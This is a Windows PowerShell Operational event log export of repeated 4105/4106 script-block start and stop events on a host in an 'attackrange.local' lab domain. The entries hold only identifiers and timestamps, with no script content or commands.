TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027063
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027057
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027033
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027031
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027030
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
